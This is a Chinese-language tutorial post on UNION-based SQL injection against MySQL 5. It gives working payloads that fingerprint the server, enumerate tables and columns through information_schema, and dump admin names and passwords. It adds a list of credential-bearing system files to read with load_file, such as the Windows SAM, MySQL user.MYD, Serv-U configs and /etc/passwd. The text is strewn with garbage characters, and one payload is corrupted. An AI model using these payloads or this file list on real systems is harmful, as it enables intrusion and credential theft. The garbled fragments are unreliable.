mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
: b- w8 i" u# B1 L* m5 ?

* r3 l2 ?3 E2 Q
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
$ Y0 @7 ^6 X9 J' Y' ]2 `中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
- W) n- ^. y8 K& q( w8 O3 [# Q+ @明。
+ T# L6 \( b" w' Y5 J1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
1 k) G7 X$ R) j# Y|—字段：SCHEMA_NAME ->数据库名称

) a* c! `2 M! i|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
0 @, N, ~) t+ _- z|—字段：TABLE_NAME ->存储表的表名
$ y0 D1 X4 b! {' S# y
|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
% \5 b$ _/ S2 r) L) j1 Z|—字段：TABLE_NAME ->存储所属表的名称

) k! w& h0 l1 C$ L4 j2 [|—字段：COLUMN_NAME ->该字段的名称
" Q/ h" N$ n4 l8 e
1 U3 U8 b, O2 n' [5 y3 y#########################################################################
##
5 }0 A0 q' p/ I3 q$ l
( k* U* d3 L/ G0×001 获取系统信息:
" P7 O' s3 X6 s% \! A1 j
union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

6 ]: s( j& A9 x3 W% ?+ i/*
2 z6 k2 q) }" W) l& z8 c$ o1 {
@@global.version_compile_os 获取系统版本
$ Y! b6 {; Y4 N7 R5 D; o; j
# u( j' g7 ^, \/ k/ h- c@@datadir 数据库路径
9 U4 C5 A( I5 A5 D6 r, H( a" \database() 当前数据库名称
) ~/ r5 P7 A. u: c; A2 Z0x3c62723e 换行HEX值

*/

######################################################################

0×002 获取表名
- c2 D0 t  ?2 K  E2 R! Z
' @4 \: P- _" _! l0 nunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
% A8 h/ J1 _+ P7 T1 d- c
/*

0x67617264656e 为当前数据库名
  Z( S6 l* }. x) M9 m. j, `
2 M# o" d" d) ?% H5 i2 @! bgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
7 P* c' N  a) ~
*/
- {$ k! U5 H8 Q; N  r
+ q0 T3 L5 @! L* M( i######################################################################

5 A! n" G* a2 T6 ~" N; x0×003 获取字段
$ M+ {6 T7 h" I/ Y- G" I
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
& W# b, W3 \9 }5 j( M* m4 rinformation_schema.columns where table_name=0x61646d696e and
/ g! y  G" l) L& N: m% t% Q
( ^& E" v. \7 W2 X. O6 s: _
4 [% e7 m+ I0 B* [4 B8 u3 Wtable_schema=0x67617264656e limit 1 /*
9 s+ s: j- c6 {% m$ P' V
/*
# H7 }( O/ T: v3 l0 ]' J# c$ b
$ _- F9 c- @, Y. ~group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
: ?' j, c. f* ^
* A, o+ X( u* r* P0x67617264656e ->数据库名

*/

#####################################################################

2 Q/ N) u1 T. W1 F0×004 获取数据
& \2 m' X* k. D1 I7 V
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

8 N" `7 D& s, g+ b2 Y, _% ]union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

5 f- {4 K* {: f0 l6 S( p$ ~2 ?/*
7 X3 k$ h  @2 g, F; y+ s3 @0 R
0x3c62723e 换行符号HEX编码
: f+ ]8 F. o$ m+ }- A8 x
group_concat 同时获得该字段所有数据

*/





顺便添加一些mysql注入时非常有用的一些东西

简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
1 x/ e+ G; P7 I! q2 h6:version()     MYSQL数据库版本
. b) U$ }" r+ P# l  Y7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
8 w5 S3 U# B' M  U10@version_compile_os   操作系统  Windows Server 2003,
& O3 @8 q4 T0 s/ {- f收集的一些路径：
WINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
5 R) t% {2 b" w- ^8 zc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
: ^* m( A- V! a6 Y7 x. |& a+ F! gc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
- T  q: ?& r0 [4 ^5 nc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
" M$ @- ^/ e. Y9 q) l" n! a' f/ ~c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
' a2 C! t" o% p; l7 ?c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
; d0 {0 c# x4 d+ Wc:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
3 n: E0 ^2 y% ?! ?7 |, S! O" ~; @: v//存储了pcAnywhere的登陆密码
& T3 f, H; F/ wc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
9 h* c) i. q* G1 ec:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
  K2 M: n9 H; r! v' g# g

0 S6 c9 V! }4 [0 Bc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
& a0 }6 d  S2 K9 \" eC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
, U. }) J" ^/ C6 X/usr/local/app/php5/lib/php.ini //PHP相关设置
5 L# A5 a( g0 U! D/etc/sysconfig/iptables //从中得到防火墙规则策略
' q7 G  j% `9 {3 c6 \% _/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
7 n0 `, }+ Y4 N6 t/etc/redhat-release //系统版本
. [+ a9 @7 p0 {( w1 ~+ M8 W4 q/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
3 s8 D' m* p" S. W/ v7 E  p8 a/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
- m* o4 A" Q. O9 ^3 }: C/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
# q  l- Y$ J$ j0 \  V/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
& l" O! C! K' V. B/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
9 V* U6 K  V" }# N* h2 [: m/etc/sysconfig/iptables 查看防火墙策略
7 z- c9 ?2 F3 i3 I  `) fload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
# b& v# T1 N# y- e' kreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
& I% l: X2 ?/ Xreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
. N/ d+ }- b, r  C0 U6 T上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.